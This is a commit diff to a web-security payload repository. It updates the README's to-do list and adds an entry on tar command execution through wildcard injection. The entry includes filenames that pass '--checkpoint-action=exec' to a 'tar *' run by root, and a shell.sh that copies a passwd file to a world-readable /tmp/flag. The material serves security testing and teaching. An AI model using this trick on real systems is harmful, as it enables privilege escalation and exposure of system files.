Tar command exec

README.md

@@ -1,11 +1,9 @@
 # Payloads All The Things
-A list of every usefull payloads and bypass for Web Application Security
+A list of usefull payloads and bypasses for Web Application Security
 
 TODO:
 * XSS
-* Upload
 * Traversal Directory
-* Tar
 * PHP Serialization
 * CSV Injection
 
@@ -14,5 +12,7 @@ To improve:
 * SQL injection
 * XXE
 * SSRF
+* Upload
+* Tar command exec
 
 # /!\ Work in Progress : 1%

TAR_Code_Exec/README.md

@@ -1,12 +1,14 @@
-# Title
+# TAR Command Execution
-Lorem	
+By using tar with –checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and that’s where the wildcard comes in handy.	
 
-## Vuln
+## Exploit
 
+These files work against a "tar *"
 ```
-Code
+--checkpoint=1
+--checkpoint-action=exec=sh shell.sh
+shell.sh   (your exploit code is here)
 ```
 
 ## Thanks to
-* Lorem
+* 
-* Ipsum

TAR_Code_Exec/shell.sh

@@ -0,0 +1,3 @@
+#!/bin/bash
+cat /passwd > /tmp/flag
+chmod 777 /tmp/flag